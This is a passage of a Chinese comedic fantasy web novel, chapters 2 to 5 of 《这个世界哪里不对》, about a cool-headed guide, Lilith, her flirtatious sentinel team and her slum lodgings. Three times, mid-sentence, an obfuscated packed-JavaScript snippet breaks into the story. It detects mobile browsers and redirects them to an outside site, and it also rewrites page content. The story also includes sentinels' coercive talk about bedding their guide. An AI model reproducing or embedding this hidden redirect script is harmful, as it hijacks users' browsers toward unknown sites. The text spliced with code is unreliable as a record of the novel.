《这个世界哪里不对》 2. 第 2 章 又过了两天，莉莉丝被通知去见她的匹配对象。 见面的地点是莉莉丝的“家”。这是向导与哨兵会面的常规操作。如果双方都没有意见，就可以去卧室聊聊了。 莉莉丝对这种公私不分的操作嗤之以鼻。只是，考虑到这住所是分配给向导的，她没花一毛钱——似乎没什么不对的。 果然，入职不会分配住宅，最多配个办公室。 还好，这几年，莉莉丝攒了点儿钱，可以在下层租个单间。 分配给向导的房门钥匙是和匹配通知书一同送到向导手中的，向导可以提前打理和哨兵们共同的家。这样，哨兵与向导在温暖的氛围中相遇相知，共同组成美好的大家庭。 打理？打理什么？给装修费了吗？谁家好人自掏腰包装修办公室啊？ 当威名赫赫的A级哨兵们来到向导的“家”中，他们看见的，是初始面目的客厅，几张没有任何修饰的板凳随意摆放。他们稚嫩的向导坐在唯一一张有靠背的木头椅子上。 几人面面相觑。好吧，初出茅庐的向导不富裕，但贫穷到这种程度的，他们还是第一次见。 还好，向导，尤其是高级向导兜里的钱，是他们最不值钱的资产。 “请坐，哨兵们。”莉莉丝说。 几人对视一眼，开始摆POSE，不，开始自我介绍。 ——不坐？那就站着吧，难道要我陪你们罚站？莉莉丝扬起了下巴，靠着椅背，翘起了二郎腿。 最先开口的是个头最小的娃娃脸少年。他是“狸狸”，兽形是狐狸，自称除了一点儿小聪明，没什么本事。 接下来是型男金，他心机的穿了偏小的外套和低腰裤，露出蜜色的腹肌。他露出压迫感十足的笑容，说：“我说过，你终将属于我，小向导。” 接下来是酷酷的白毛的雪狼双子，哥哥雪锋只冷冷的说了自己的名字。弟弟雪剑用低沉的声线做了自我介绍，最后露出一个有着单边笑涡的微笑，说：“要记得给我买糖哦~” 最后开口的风羽一脸臭屁的对同事的口味表达了鄙视。他施舍的说：“你看起来还有几分脑子，我想你应该不会蠢到用廉价的食物打发天空的王者。” 啊，出现了，乙女游戏即视感。 游戏让玩家掏钱，莉莉丝只想挣钱。 “莉莉丝，B级向导，为你们提供精神疗慰服务。如果你们精神濒临崩溃，可以来这里找我，我白天都在这里。如果有需要离开高墙的任务，请提前三天通知，收益按照贡献分配。”莉莉丝冷冰冰的说。她看向提出额外要求的雪狼和老鹰，说：“A级哨兵的工资还不够购买食物吗？” “喂！你什么态度啊？别的向导都有一手好厨艺的！”风羽皱起眉头，锋利的眼瞪向莉莉丝。 莉莉丝掏出一本书册，将封面大大方方的展示给几人——《向导入职手册》。 “没有这样的条例。”莉莉丝平静的说，“我不会做饭。” 狸狸眨了眨卡兰兹大眼，委委屈屈的说：“只能白天来找你吗？我们，不住在一起吗？” “如果你在晚上要死了，你当然可以来打扰我。你最好确定你真的要死了。”莉莉丝第一次对她的哨兵们露出笑容，那是一个核善的笑。然后，她奇怪的反问：“我们要住在一起？你们沉迷赌博，把分配给哨兵的住房输掉了？” 狸狸眨巴眨巴水汪汪的卡兰兹大眼，不说话了。 “真像一只活蹦乱跳的兔子。你让我兴奋，小向导！”金露出一个龇牙咧嘴的笑。 “狩猎同事是违法的。”莉莉丝冷静的说。 金磨了磨牙，没再说话。 雪锋嗤笑一声，开始在向导空空如也的“家”里打转。他爱吃糖的弟弟紧随其后。 雪锋背着手，东瞧瞧，西看看，像个遛弯儿的老干部。雪剑则好奇心过剩，时不时伸手扒拉两下。 “治疗室？这个位置，应该是卧室吧？”雪剑推开虚掩的门，偷感十足的探头，随后退了出来，可怜巴巴的说，“什么都没有。” “床。”同样看见房间模样的雪锋压低眉眼，硬邦邦的说。 “自己买，谁知道你们喜欢站在树枝上，还是埋在土里。”莉莉丝说。 这不是开玩笑，哨兵或多或少被兽身影响。比如，关于金的资料里就写在，大狮子吃肉只要三分熟。 有一个扫兴的向导，哨兵们不想说话。他们商量着布置向导的“家”。 看着天色渐暗，莉莉丝站起身，提起放在身后的手提袋，向外走去。 “莉莉，你要去哪儿？”狸狸好奇的问。 “下班。”莉莉丝头也不回的说。 看着莉莉丝的背影，哨兵们神色各异。 莉莉丝的家在下层。 下层，是向导与哨兵聚集地之下的居住区，也是高不成低不就的一群人。 强大的向导与哨兵在山壁上开凿石穴，构建恢宏的城市，没有天赋的平民在地面搭建低矮破烂的房屋。两者之间，就是“下层”。 在山脚潮湿的石穴中，居住这那样一群人。他们是没有强大兽身的哨兵，是濒临失控、再无挽救价值的哨兵，是无法伸出精神触手、只能用最原始的方式“工作”的向导，是平民中百里挑一的精英。这里也是大人物打野食的地方。混乱又廉价，是莉莉丝为数不多能住得起的居所。 莉莉丝提着略显笨重的手提袋，走在向下的阶梯上。 教科书说，向导坚韧温柔的精神触手能抚平哨兵的躁动。那是向导存在的意义。 莉莉丝知道，用力过猛的精神触手可以给哨兵带来疼痛。精神触手可以感知游离在控制中的魔法元素。她曾“看见”它们。教科书说，向导脆弱的身体不能与躁动的魔法元素契合，只有强壮的哨兵可以。 还有什么呢？神奇的精神触手可以感知的，不只是躁动的魔法元素。它能“看见”整个世界，以特别的方式，好像第六种感觉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234384|151384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太阳落山了。 莉莉丝的身影转入昏暗的甬道，再不可见，脚步声也听不见了。 一个健硕的身影飞快略过，冲进那一片昏暗。他的身影在奔跑中逐渐变化。粗重的呼吸好像某种大型野兽。 强大的哨兵进入狩猎状态。 “你在找什么？”当那个身影第三次掠过，莉莉丝冷冷的问。 强大的野兽猛地转头，看见了站在阴影中娇小的向导。她双手提着手提袋挡在小腹前，后背倚着墙，好像一座雕像。难以置信，她就在那里。他没有发现！ 强大的哨兵死死的盯着向导，后背微微拱起，好像即将发起攻击的大猫。 “尾随同事就是A级哨兵的品格，金？”莉莉丝挑起眉头，似乎有些不悦，又有那么点儿色厉内荏。 金嗤笑一声，似乎在嘲笑年轻向导的天真。他欺近莉莉丝，他的影子将她完全笼罩。他抬起毛绒绒的野兽一般的爪子，压在莉莉丝的肩头。他说：“狡猾的小兔子，我来教你向导的规则……” 呛人的烟雾从莉莉丝手中蔓延。强大的狮人本能的闭眼，扭头，咳嗽，后退。 “为了保证珍贵的向导的安全，我在入职的时候得到了一些小道具。哨兵的敏锐足以让你在我拿出它的时候阻止我。”莉莉丝上前一步，走出了烟雾的范畴。她抬起手，擦去眼角被烟雾呛出来的湿润，“更敏锐的感觉有时候也是一种灾难，不是吗？” 涕泗俱下，狼狈的狮人发出愤怒的低吼。 莉莉丝指尖银光一闪，怼上了金的身体。 柔弱的向导，能用一把巴掌大的小刀，伤到皮糙肉厚的哨兵吗？ 换一个说法，没经过任何体能、格斗训练的女性，能用一把巴掌大的小刀，把成年雄狮开膛破肚吗？ 所以，那不是一把小刀。只是一个小玩具罢了。它看起来像一支笔。它确实可以用作一支笔。它的笔尖是金属的，可以在纸上写出比铅笔浅淡的痕迹。它的另一端藏了一个小小的魔法阵，能提供一点点儿电击。那电击伤不到人，就是柔弱的向导中招，也最多抽个筋。所以，那只是一个小玩具，茜茜赠送，帮助她的学生与哨兵友好相处。 通常情况下，这个小玩具只会让哨兵兴奋。不通常的情况——即使是强大的A级哨兵，身上也有十分脆弱的部位。 先有富婆快乐球，后有富婆快乐火，如今有…… “向导快乐笔，希望你喜欢。”对着金弓成虾米的身子，莉莉丝轻轻一笑，撸了一把狮人因为过度刺激而高高翘起的尾巴尖儿。 莉莉丝往甬道的某个角落看了一眼，一脚将挡路的金踢到，跨过他的身体。她转着她的“向导快乐笔”，轻盈的踏上了回家的路。 下班愉快！回家愉快！玩狮子愉快！真是愉快的一天！ ——妈妈，我摸到狮子尾巴尖儿了！活的！热乎的！会动的！自从看见桌面上那个咳嗽的小狮子，这事儿就写进了我的愿望清单！ 3. 第 3 章 莉莉丝走后不久，几个身影从昏暗的通道里走来。还能是谁呢？当然是狮人可靠的队友们。 他们拉起了躺在地上的金，嘲笑他竟然被一个新手向导放倒了。 “向导快乐笔好玩吗？”风羽高高在上的说，“我们亲爱的小向导会嫌弃你没让她尽兴。你要是影响了我的风评，我一定让你好看！” 缓过劲的大猫将嘴贱的鸟扑倒，揍得一地羽毛。 雪锋沉默的围观，雪剑时不时说两句看似劝解、实则拱火的话。 娃娃脸的狐狸少年将双手怼进另一侧的袖子里，好像揣着手的猫咪。他舔了舔嘴唇，意味深长的说：“我们的小向导也不是那么的不近人情嘛。她有自己喜欢的方式。” “我太怀念与向导同调的感觉了。寻觅许久的野兽终于捕获心仪的猎物，柔软的身体抚平体内的躁动，肉与灵共同升华……”雪剑一脸的沉醉，“我们应该纵容小女孩儿的那点儿小爱好～” 雪锋哼了一声，也不知是不屑还是赞同。 哨兵的强大依托于兽身与魔法元素的契合。那需要长久的练习。过度的兽化会导致失控。向导可以平息精神的躁动。然而，仅仅凭借精神触手的抚慰不能让哨兵远离失控。那依旧是踩着钢丝玩极限运动。 如果哨兵与向导能够达到精神同调，向导可以直接为哨兵分担兽化时的精神躁动。哨兵可以尝试更深层次的兽化，向导也可以通过哨兵兽化时的刺激，锻炼精神力。 真.躺着升级。 想要达到精神同调，需要哨兵与向导真正的结合。这才是哨兵和向导最终都滚到一起的原因。 当然，任何事都有风险。哨兵兽化程度太深，把向导的精神一块儿玩崩的事，时有发生。所以，官方匹配的哨兵与向导等级不会有太大的差距。 “说起同调，那个A级向导——”狸狸拉长声调。 “别人家的向导，不知道什么时候就跑回去了。”风羽嘲讽的说。 “A级向导和B级哨兵，B级向导和A级哨兵，如果互换……”狸狸沉吟着，立即否定了自己的计划，“不可能，一个等级的差距还不至于斩断向导与哨兵的羁绊，重新匹配。没有必要拒绝她，毕竟是稀有的A级。” “她身上甚至有着食草目低贱的味道。”金恶狠狠的说，“我只要属于我的小兔子。一个不曾结合过的向导，她会成为我们喜欢的模样。我要把她吞吃入腹！” 狸狸竖起一根手指，轻声说：“不要吓到我们的小向导哦～” 莉莉丝的好心情止步于迈进“下层”的范围。 不能指望连温饱都没能解决的人们多么讲卫生。平缓的地势让污水在低洼处淤积，散发令人作呕的气味。脏兮兮的居民麻木的进进出出，混乱又有序，好像忙碌的工蚁。偶尔有争执的声音从不远处的山穴中传出来。 破破烂烂的“下层”已经是平民只能仰望的高山。 在更下面的地方，没有魔法，没有知识，没有秩序，或许也没有文明。如果下层之下的人们有幸来到“上层”，会不会以为自己来到了神灵的国度？ 莉莉丝抬头，仰望高高在上的山壁。那里黑黢黢一片，零星的光亮照不出恢宏的城市。那被传颂的魔法的奇迹—— “其实也没什么大不了的。”莉莉丝自语道。 猛兽强大吗？从人类远古的祖先投掷出第一颗石子，在进化这条道路上，强大的兽王注定被远远抛下。 那么，为什么哨兵们还要追逐强大的兽身呢？因为哨兵们的精神没有强韧到直接掌握魔法元素。他们只能先将魔法元素纳入身体，将其固化为特定的魔法回路。即使是这般隔靴搔痒，还是有无数强大的哨兵精神崩溃，只余疯狂的兽性。 野兽可以拥有情感，拥有人性，过度兽化而精神崩溃的哨兵只余疯狂。 果然哪里不对吧。 向导没有足够强韧的身体容纳魔法元素，所以，向导无法使用魔法…… ……吗？ 归根到底，魔法也只是一种工具罢了。 莉莉丝轻轻蹙眉。年轻的女性独身行走在鱼龙混杂的地带，容易惹来麻烦。 年轻的女性手腕儿翻转，一抹亮色在她手中闪过，飞向黑暗的岔路。那里传来一声惊呼，随后是匆匆逃离的脚步声。 只有强大哨兵才能在人身时操纵魔法。 什么？强大的哨兵怎么会来这种地方？嘘！知道得太多，容易出事哦。 莉莉丝这个假哨兵真向导最多只能徒手点个蜡烛，想点燃柴垛都嫌后继无力。女性哨兵虽少，却不是没有。 黑暗中依旧有着窥视的眼眸，贪婪的目光收敛了许多——那个哨兵的步伐似乎有些无力，好像不太能打的样子？大人物的怪癖罢了。 真相，谁又能猜到呢？ 前方传来粗重的呼吸声。那声音好像呼吸道里堵塞着过多的分泌物，让人听了就觉得呼吸不畅。不多时，一个胖胖的身影走了过来。 “晚上好，皮皮先生。”莉莉丝矜持的说。 皮皮先生，大名皮尔斯，莉莉丝的房东、邻居，一个等级不低的哨兵。他的兽身是野猪，虽然不是肉食猛兽，也有着不错的战斗力。他完全可以去高墙外闯荡，去上层定居。这里的所有人都知道，皮尔斯是个胆小鬼。他不敢像一个真正的哨兵那样战斗。凭借与生俱来的优势，他供职于一家平民开办的养猪场，担任饲料试吃员一职。 世界之大，无奇不有。 “莉莉丝，晚上好啊！”皮皮先生挺着圆滚滚的肚子，热情的说。 “看来有好事发生？”莉莉丝说。 “或许不是。”皮皮先生圆润的脸盘子让他看起来十分憨厚，“一个C级的队伍定了一头猪。你知道，高墙外面的任务，所有人都去，包括向导。他们本打算完成任务庆祝一番的。很遗憾，他们没能回来。猪已经宰杀。送货员在约定的地点等了很久，听说了他们的不幸。我们老板不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234385|151384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖不新鲜的肉。只好便宜我们了。你也来点儿？” 这里有种植业，当然也有畜牧业。那是平民从事的工作。其中一些发了财，在“下层”买了房子，从此高人一等。某些弱小的无法去高墙外闯荡的哨兵看他们过得不错，加入其中。他们大多担任管理者的角色，还有一些只是挂个名。哨兵高人一等。有哨兵的工坊，似乎也高贵起来了。 ——这么一看，认真工作的皮皮先生还真是个特例呢。 莉莉丝笑着婉拒。 身高体壮、消耗竟然的哨兵们不在意猪肉腥臊的味道。只要有足够的脂肪，他们就很开心了。他们真的有味觉吗？没有吧。 ——说起来，人的体脂率似乎更高……呃，忘记这个可怕的话题吧。 莉莉丝受不了那可怕的味道。 说起来，猪是怎么走上人类的餐桌的？阉割？好遗憾，这里并没有类似的技术呢。 “真可惜，难得有这样的机会。”皮皮先生状似遗憾的说。 “那么，祝您愉快。”莉莉丝结束这场毫无内涵的寒暄。 “当然，美味的猪肉在炉火上等着我呢。”皮皮先生笑着说。 猪吃猪？野猪吃家猪？再说一遍，世界之大，无奇不有。 前方就是莉莉丝的居所了。她在一个漆黑的山穴前驻足，瞄了一眼——没人，白蚁先生没回来。 没人知道白蚁先生的名字，他的兽身是一只白蚁，所以大家都叫他白蚁先生。 兽身是昆虫的哨兵很罕见，比女性哨兵还稀奇。稀少不意味着他们弱小。昆虫形态的哨兵能操纵他的“同类”。试想一下，成千上万的魔虫扑面而来，谁能阻挡它们？魔法很厉害吗？它们有魔法！ 白蚁先生只是最低等的哨兵，只能操纵最普通的白蚁。一群白蚁很可怕吗？一个地系魔法轻松拿捏。它们过于简单的大脑无法理解复杂的指令。白蚁先生甚至不能当一个合格的斥候。 那句话怎么说的来着，天生我材必有用，生命能找到前进的方向。 白蚁先生是一名杰出的木匠。无论想要什么样的家具，他和他的白蚁朋友们都能啃出来。 对，啃出来。啃出椅子、板凳什么的，根本不费劲儿。 莉莉丝打算定制一个办公桌，一组书柜。虽然白蚁先生的家具只有原木皮肤，但是便宜啊，比上层特供的家具商便宜好多呢。 ——别，精心“筑巢”的哨兵们会被向导粗犷的办公区丑哭的。 看来今天是不行了。 莉莉丝遗憾的收回目光。 很快，莉莉丝来到自家门口。手指轻轻触碰门扉，精神触手探出——很好，魔法阵没被触动，没有意外的客人。 固化的魔法阵是稀缺资源。莉莉丝也就在入职时得到了两个，用以布置向导与哨兵共同的家。 这算不算公器私用？没人说不许啊。 别着急，原理都学过，有实物拆解，山寨版本很遥远吗？ 4. 第 4 章 第二天出门的时候，莉莉丝遇上了白蚁先生。 白蚁先生是个其貌不扬的小个子。他的脸上永远带着讨好的笑容，身上总是弥漫着木屑的味道。他说话语速很快，以至于常常让人听不清。 接到新的“啃了么”订单，白蚁先生很高兴。 “明早就能做好，如果实在着急，今晚……”白蚁先生小心翼翼的说。 “明早已经很好了。完工以后请送到——”莉莉丝停顿了一下，从手提袋里拿出一张纸条，上面写着办公室的地址。 白蚁先生飞快的扫了一眼，露出为难的神色。他说：“上层，那里并不适合我们。” “我会支付运费。”莉莉丝说。 白蚁先生的笑容真切了许多。他保证着，又有那么点儿试探，说：“我会找最好的邮差！” 邮差，莉莉丝更愿意称呼其为“跑腿”，专门运送各种物件儿。他们通常由兽形善于奔跑、负重的哨兵担任，比如牛，或者马。 ——牛马，真是让人心中一痛的词汇。 最好的，通常意味着最贵的。或许这里头还有个“中间商”。没关系，下层的“贵”和上层的“贵”不同。 莉莉丝来到办公室，发现她的哨兵们正在搬东西。 “你这里太破烂了！”风羽最先看见莉莉丝，他抬着下巴，一脸嫌弃，眼眸中却有几分倔强。 莉莉丝挑起眉梢。 狸狸走了过来，挡在风羽身前，讨好的笑着：“我们不太习惯，自作主张——”他的手划了好大一圈，“装饰一下。” 肯自掏腰包装修办公室的同事，都是好牛马。 莉莉丝点点头，走进屋子。她在离大门不远的地方走了几步，比划了一块地方，道：“这个角落，给我留出来。” 狸狸眼眸闪亮，他说：“你要亲自妆点我们的家吗，莉莉？”最后两个字说得含糊不清，好像是“莉莉”，又好像是“狸狸”。 同事之间，说这种没有边界感的话，不觉得尴尬吗？ 莉莉丝瞥了狸狸一眼，没有说话。无所事事的她在屋子里转悠，看哨兵们摆放家具。 纯白的沙发属于雪狼兄弟。金灿灿的柜子是金的心头好。它们是那么的华丽，闪亮亮的油漆散发着金钱的味道。那些布灵布灵的宝石——哦，那是风羽的，他正小心的擦拭其中之一。所以，那些杀马特风的鸡毛掸子属于狸狸？ 莉莉丝仔细端详乖巧的狐狸少年——后者露出软绵绵的微笑——真是人不可貌相。 说起来，之前的椅子和板凳呢？啊，在雪狼兄弟的脚下。 不愧是身手灵活的哨兵。他们将椅子板凳摞在一起，在上面玩起了杂技。 所以，装一盏五颜六色的水晶魔法吊灯有什么意义？在加班猝死的同事坟头蹦迪？ 本来雪锋和雪剑只是合作安装吊灯，虽然一点儿都不安全，却实实在在的在干活。见莉莉丝看向他们，这两位就开始秀各种高难度动作。这个下腰捡扳手，露出一截劲瘦的腰腹。那个一字马打螺丝，两条腿又直又长。 一顿操作猛如虎，进度倒扣5%。 原来在手脚架上翩翩起舞的建筑工人是如此合理的存在。 ——请放过我白蚁严选的家具！ “咣当”一声巨响，原来是金的暴力搬动把柜门磕坏了。他不得不趴在地上，撅着屁股，那个小锤子敲钉子。 或许蹲着更省力，同事。 金穿着十分贴身的裤子。因为这个别扭的姿势，臀部的线条完全显露出来，随着他的动作微微颤抖。 莉莉丝不禁想起了昨夜的尾巴。如果它还在那里，将是何等的摇曳生姿。她觉得自己受到了诱惑。 ——这样不好，同事。如果我没控制住自己，给你来了个千年杀，咱俩就都尴尬了。 见莉莉丝盯着狮人的臀部不说话，狸狸凑过来，半是好笑半是怀念的说：“之前莎莎总说，即使不兽化，金也是一头狮子……” 如果金以一头狮子的形象趴在那里，那将是一个“公主（猪）请上车”式的悲剧。 ——小动物们，出门在外要注意安全，尤其当你们的同事曾认真研习“动物无语瞬间”搞笑视频，并一直遗憾没有机会实践。 狸狸忽然语调一变，有些不自然的说，“莎莎，我是说，莉莎她、她是……”狸狸眨了眨眼睛，抹掉了眼中的水雾，“抱歉，我只是……如果我们更强大，或许她就不会、不会……”他的声音有几分哽咽。 ——你的同事在你面前忽然真情流露，怀念一位你没见过的同事，怎么办？尴尬的是，你顶替了那一位的位置。 “我听说过，那是一位令人尊敬的向导。我很遗憾她的遭遇。”莉莉丝收回研究狮子屁股的视线，直视狸狸，以一种公事公办的礼貌说。 狸狸似乎有些惊讶，以至于他的泪光因此虚幻。 莉莉丝挑起眉梢，不理解他的惊讶。 不然呢？还要得到什么？愧疚？安慰？大家只是同事而已。真接受不了，拒绝新的向导啊。临时向导也就是花点儿钱的事。没钱也可以像金之前那样，去向导学院当教具嘛。 狸狸在莉莉丝的注视下愈发僵硬。他抬手摸了摸湿润的眼角，遮住了那双过分明亮的眼眸。 他闷闷的说：“对不起，请原谅我一时的软弱。我会尽快走出来！” 莉莉丝僵硬的勾了勾唇角，移开了视线。 莫名其妙的煽情与热血真让人尴尬，还是当个沙雕动物爱好者吧。 莉莉丝盯着那个圆润的臀，想象那是一只懒洋洋的狮子屁股。那里应该有两个铃铛——莉莉丝的向导快乐笔蠢蠢欲动。 狸狸含泪的坚强僵硬着。莉莉丝沙雕乐子人的目光僵硬着。敏感的狮人僵硬着，并且腿有点儿麻。三个人同时发出无声的求救信号。然而，雪狼兄弟在手脚架上骚动着，高贵的风羽和他的宝石一起，一如既往的高贵。 一时之间，岁月静好，他们都有美好的未来。 打破诡异沉默的是金大力出奇迹。他的小锤子终于将可怜的柜门凿穿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234386|151384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听“咚”的一声，他的手穿过薄薄的木板，卡在那里。 风羽被突如其来的声响吓了一跳。凭借优越的视力，与绝佳的角度，他一眼就看到了金的尴尬。 “笨手笨脚的狮子！”风羽嗤笑道。 因为角度的问题，莉莉丝愣了一下，才意识到发生了什么。这时，金已经站了起来，恼羞成怒的伸出爪子，几下就把富丽堂皇的柜子拆成木板，扔出门外。 莉莉丝张了张嘴，欲言又止，止又欲言。最终，她说：“下班了记得把垃圾拿走。” 风羽发出更大声的嘲笑。 金转过身，深沉的瞪着莉莉丝。半晌，他看向风羽，喉咙里发出威胁的声音。 猫抓鸟，没毛病。 风羽不甘示弱的抬起下巴，露出更加欠揍的表情。 在两人打起来之前，雪锋利落的从“手脚架”上跳下，打断两人的读条。雪剑在采取了更加炫酷的落地姿势，以单膝跪地的方式落在莉莉丝面前。 雪剑站起来，抬头看了看头顶的吊灯。他露出孩子般的笑容，骄傲的炫耀，说：“终于完成了，真是漂亮啊！” 不怎么爱说话的雪锋破天荒的说了长句子：“现在有什么好看？要等晚上。” 谁要大晚上留在办公室里看灯？ 莉莉丝后退几步，看着这个完全可以在豪华礼堂撑起门面的吊灯，不太放心的说：“我想它不会突然掉下来。” “当然！我们兄弟干活，你放一百个心！它甚至可以让风羽在上面筑巢！”雪剑骄傲的说。 风羽立即表示了鄙夷：“我才不会被这种虚假的光辉迷惑！” 莉莉丝不得不承认，风羽手里的宝石的光辉确实更加迷人，散发着金钱的芬芳。 “比硬邦邦的石头有用多了！”雪剑会怼道。 “不识货的蠢狗！”风羽嗤了一声，不屑的说。 雪狼兄弟的目光变得不善。 ——你们真的是合作多年的战友？怎么好像还没过磨合期？ 莉莉丝不懂得哨兵之间的友谊。 打吧打吧，要打死早就打死了。 她绕过剑拔弩张的哨兵，走向治疗室。拉开门，她以为会看见一个花里胡哨的治疗室。结果，这里空荡荡，什么都没有。 好吧，如果哨兵们把时间花在争吵上，确实不能指望他们有什么效率。 狸狸跟在莉莉丝身后，见她沉默的看着空荡荡的治疗室，便上前一步，问道：“莉莉喜欢什么样的卧室、呃，治疗室？” “你们自己定吧。”莉莉丝说。 狸狸露出尴尬的表情，无奈的说：“金觉得之前的床就很好。雪锋和雪剑认为床太小了，容易掉下去，不如铺一张可以让他们随意翻滚的地毯。风羽想要树枝型的特殊床铺，难道他以为我们会喜欢像食物一样被挂在树上？”狸狸忍不住吐槽同事，末了，他小心翼翼的瞄了莉莉丝一眼，“我觉得，他们的安排缺乏安全感。我更喜欢洞穴。” ——要不你们买个巨型猫窝吧。 5. 第 5 章 这里当然是有宠物的。尤其是“上层”，有钱又有闲的人们，不会因为有哨兵这个平替，就放弃可爱的毛绒绒。这样的人虽然不多，但拿出一个猫窝，还是能被一眼认出。 让同事睡猫窝太侮辱人了。莉莉丝不得不遗憾的放弃这个顶呱呱的好主意。 等等，刚才狸狸说他喜欢什么来着？ “如果要在地上挖洞，需要特别审批。”莉莉丝提醒道。 大家住在山壁上，曾经有人随意打洞改造住宅，以至于造成塌方。所以，室内装潢随意折腾，想改变房屋结构，哪怕只是挖一铲子，也要特别申请。 有没有可能，形似洞穴的寝具也是有的？ 狸狸张了张嘴，最后乖巧的说：“好的呢。”柔柔软软的声音，自带一股子委屈。 空荡荡房间没什么好看的。莉莉丝关上门。转身的瞬间，依稀看见狸狸脸上有些许失落。她平静的看着再次开始表演的哨兵们，觉得自己不应该在这里打扰他们工作。 ——不，放过我，放过我白蚁严选的椅子，也放过你们自己！ 莉莉丝说：“不打扰你们干活了，我出去走走。”说罢，背着手，像一只溜达鸡似的，离开了办公室。 当莉莉丝的身影从视线中消失，哨兵们放下手中的活计，走到了一边。 雪剑摊作长长的一条，占据了整个沙发。风羽伸手扒拉他，换来凶狠的龇牙。 狸狸走近沙发，视线扫过雪剑。后者身子一激灵，一个打挺，跳了起来，站在沙发旁。 “谢谢。”狸狸用软乎乎的声音道谢，坐在了最中间的位置。 风羽嗤笑一声，坐在了沙发扶手上。金在沙发另一边落座。雪锋从“手脚架”上拆下一张板凳。他并不坐下，只是单脚踩在上面，看起来挺酷。雪剑飞快的溜了过去，坐在了板凳上，把兄长的腿当靠背。 “看起来，我们的小向导似乎并不慕强，不会因为哨兵的强大而顺势服从、依赖。”狸狸摸着下巴，说。 “那是她没见过真正厉害的。”金的喉咙里发出大型野兽的呼噜声，似乎很是不忿。 “难以被他人的情感触动，缺乏同情心，也不会嫉妒。”狸狸又说。 “天生冷情，又或者是一块木头。”雪剑哼哼了两声，“我和哥哥那么努力，她也没多看一眼。” 风羽嫌弃的撇嘴，道：“审美不咋地！” “也不在意小男孩儿欲擒故纵的小小叛逆。”狸狸微笑着补充，换来风羽不悦的瞪视。 “综上，大家都失败了。”狸狸一摊手，无奈的感叹，“我们的小向导真难搞。” “麻烦！”雪锋冷冷的说，“上了床，总会听话。” “哥哥太凶了！对待女孩子，要温柔一点哦。”雪剑说着，似乎想到什么，痴痴的笑了。 狸狸不赞同的看着雪狼兄弟，正色道：“只有心甘情愿，才能达到最完美的结合，真正的精神同调。” “你们当然无所谓了，某些人啊，可不敢惹毛了向导，毕竟马上就要——”风羽的话被狸狸凌厉的视线堵在喉咙里。他脸色一变，不自在的扭头。 狸狸收回目光，温和的说：“那位茜茜又来找你们了吗？” 众人没有说话，纷纷发出暧昧的笑声。 狸狸也笑了两声，猛地拉下脸，说：“不要招惹她！” “她可是最有希望进阶S级的向导，你难得不想？”雪剑笑嘻嘻的说。 “S级向导？进入长老会？我们都知道，不可能。”狸狸眯起眼睛，看起来有几分奸诈，“她是我们的小向导的导师。你们和她说的每一句话，都可能原原本本的传进我们的小向导的耳中。” “我们的小向导会嫉妒吗？会努力的夺回我们吗？”雪剑眨着眼睛，状似无辜的问道，“我们也是被逼无奈呢。” “会彻底的厌恶你！”风羽翻了个白眼，说，“你胡闹，不要连累我！” “这些软塌塌的家伙……”金在嗓子眼里嘀咕着。 几个哨兵商量了半天，也没商量出要怎么拿下他们的向导。最终，狸狸提议，让金贡献一下他的屁股吧，他们的向导似乎很在意他的屁股。金恼怒的拒绝了他。 接下来的几个小时，金的嘴角就没落下。 这一片都是分配给向导的房子。高级向导的房子靠近山壁，宽敞明亮，比如莉莉丝的房子。低级向导的房子在更深处，常年不见阳光，跟耗子洞似的。 莉莉丝背着手，走在昏暗的通道里。唯一的光线来自某种散发微弱荧光的蘑菇。 蘑菇看着小小的一簇，可爱又无害，实则是十分麻烦的东西。一个不留神，蘑菇就可能塞满通道。一直有专门人员监测蘑菇的生长情况，定期清理。 很麻烦的是，蘑菇的孢子会扰乱哨兵们的精神。每次“蘑菇大战”开启，向导学院就能收获大把“教具”。 莉莉丝随手捡了几簇蘑菇，装进随身携带的兽皮袋里。 蘑菇不仅会扰乱哨兵的精神。所有人都会受它们影响。只是向导的抗性更强而已。这何尝不是一种锻炼精神力的办法呢？莉莉丝收集蘑菇，是为了锻炼精神力，绝不是—— “这么漂亮的蘑菇不能吃，太可惜了。”莉莉丝自言自语道。 有一说一啊，如果人类能免疫毒蘑菇，谁能拒绝绿化带里的小伞伞、小包包呢？ 像莉莉丝这样，把向导专属住宅当办公室的，不说绝无仅有，也是寥寥无几。这边大多是向导与哨兵们同住。有点房门紧闭，有的门户大开。偶尔有那么几户，就在门厅里闹了起来，堪称不堪入目。 那只是莉莉丝眼中的“不堪入目”。在这里，那是正常的，合理的，莉莉丝才是格格不入的那个。 莉莉丝忽然觉得无趣，转身往回走。 绝对不是因为前方的蘑菇太小了。 莉莉丝本想去凌空露台晒晒太阳，不想遭遇了一场突如其来的暴雨。 雨水无情的拍打山壁，山壁上的洞穴纷纷 